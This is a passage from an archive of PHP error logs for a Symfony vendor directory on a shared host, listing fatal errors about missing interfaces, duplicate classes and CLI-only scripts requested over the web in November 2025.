/home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DefaultValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DefaultValueResolver.php on line 24 [25-Nov-2025 20:21:08 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestPayloadValueResolver.php:40 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestPayloadValueResolver.php on line 40 [25-Nov-2025 21:40:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/ServiceValueResolver.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/ServiceValueResolver.php on line 26 [25-Nov-2025 21:40:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestValueResolver.php on line 24 [25-Nov-2025 22:01:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/NotTaggedControllerValueResolver.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/NotTaggedControllerValueResolver.php on line 26 [25-Nov-2025 22:06:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/UidValueResolver.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/UidValueResolver.php on line 21 [26-Nov-2025 17:09:04 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/BackedEnumValueResolver.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/BackedEnumValueResolver.php on line 28 [26-Nov-2025 17:33:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/NotTaggedControllerValueResolver.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/NotTaggedControllerValueResolver.php on line 26 [26-Nov-2025 17:35:42 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/UidValueResolver.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/UidValueResolver.php on line 21 [26-Nov-2025 18:43:26 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestPayloadValueResolver.php:40 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestPayloadValueResolver.php on line 40 [26-Nov-2025 18:44:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestAttributeValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestAttributeValueResolver.php on line 24 [26-Nov-2025 18:46:23 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/VariadicValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/VariadicValueResolver.php on line 24 [26-Nov-2025 19:06:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/SessionValueResolver.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/SessionValueResolver.php on line 25 [26-Nov-2025 19:06:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DateTimeValueResolver.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DateTimeValueResolver.php on line 28 [26-Nov-2025 19:36:47 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/TraceableValueResolver.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/TraceableValueResolver.php on line 25 [26-Nov-2025 19:38:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/ServiceValueResolver.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/ServiceValueResolver.php on line 26 [26-Nov-2025 19:43:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/QueryParameterValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/QueryParameterValueResolver.php on line 24 [26-Nov-2025 19:46:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DefaultValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DefaultValueResolver.php on line 24 polyfill-php80/Resources/stubs/error_log000064400000000672151121404650014366 0ustar00[25-Nov-2025 20:24:05 UTC] PHP Fatal error: Cannot declare class Attribute, because the name is already in use in /home/fluxyjvi/public_html/project/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php on line 13 [26-Nov-2025 19:36:25 UTC] PHP Fatal error: Cannot declare class Attribute, because the name is already in use in /home/fluxyjvi/public_html/project/vendor/symfony/polyfill-php80/Resources/stubs/Attribute.php on line 13 console/Completion/Output/error_log000064400000003757151121404650013547 0ustar00[25-Nov-2025 18:00:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Completion\Output\CompletionOutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/FishCompletionOutput.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/FishCompletionOutput.php on line 20 [25-Nov-2025 20:00:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Completion\Output\CompletionOutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/BashCompletionOutput.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/BashCompletionOutput.php on line 20 [25-Nov-2025 21:37:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Completion\Output\CompletionOutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/ZshCompletionOutput.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/ZshCompletionOutput.php on line 20 [26-Nov-2025 19:04:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Completion\Output\CompletionOutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/BashCompletionOutput.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/BashCompletionOutput.php on line 20 [26-Nov-2025 19:45:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\Completion\Output\CompletionOutputInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/ZshCompletionOutput.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Completion/Output/ZshCompletionOutput.php on line 20 console/Tester/Constraint/error_log000064400000000563151121404650013520 0ustar00[26-Nov-2025 18:47:01 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/Constraint/CommandIsSuccessful.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/Tester/Constraint/CommandIsSuccessful.php on line 17 mime/Resources/bin/error_log000064400000000532151121404650012131 0ustar00[25-Nov-2025 19:54:21 UTC] PHP Fatal error: Uncaught Exception: This script must be run from the command line. in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Resources/bin/update_mime_types.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Resources/bin/update_mime_types.php on line 13 mime/Part/Multipart/error_log000064400000005426151121404650012305 0ustar00[25-Nov-2025 18:00:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/DigestPart.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/DigestPart.php on line 20 [25-Nov-2025 19:56:25 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/AlternativePart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/AlternativePart.php on line 19 [25-Nov-2025 19:56:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/FormDataPart.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/FormDataPart.php on line 24 [25-Nov-2025 20:24:14 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/RelatedPart.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/RelatedPart.php on line 20 [26-Nov-2025 17:12:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/MixedPart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/MixedPart.php on line 19 [26-Nov-2025 17:32:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/FormDataPart.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/FormDataPart.php on line 24 [26-Nov-2025 19:04:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/RelatedPart.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/RelatedPart.php on line 20 [26-Nov-2025 19:46:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Part\AbstractMultipartPart" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/AlternativePart.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Part/Multipart/AlternativePart.php on line 19 translation/Resources/bin/error_log000064400000001324151121404660013541 0ustar00[25-Nov-2025 19:52:40 UTC] PHP Fatal error: Uncaught Exception: This script must be run from the command line. in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Resources/bin/translation-status.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Resources/bin/translation-status.php on line 13 [26-Nov-2025 17:11:19 UTC] PHP Fatal error: Uncaught Exception: This script must be run from the command line. in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Resources/bin/translation-status.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Resources/bin/translation-status.php on line 13 translation/Extractor/Visitor/error_log000064400000003763151121404660014442 0ustar00[25-Nov-2025 19:56:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TransMethodVisitor.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TransMethodVisitor.php on line 20 [25-Nov-2025 21:36:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TranslatableMessageVisitor.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TranslatableMessageVisitor.php on line 20 [25-Nov-2025 22:02:48 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/ConstraintVisitor.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/ConstraintVisitor.php on line 22 [26-Nov-2025 17:12:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TransMethodVisitor.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TransMethodVisitor.php on line 20 [26-Nov-2025 19:06:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Extractor\Visitor\AbstractVisitor" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TranslatableMessageVisitor.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Extractor/Visitor/TranslatableMessageVisitor.php on line 20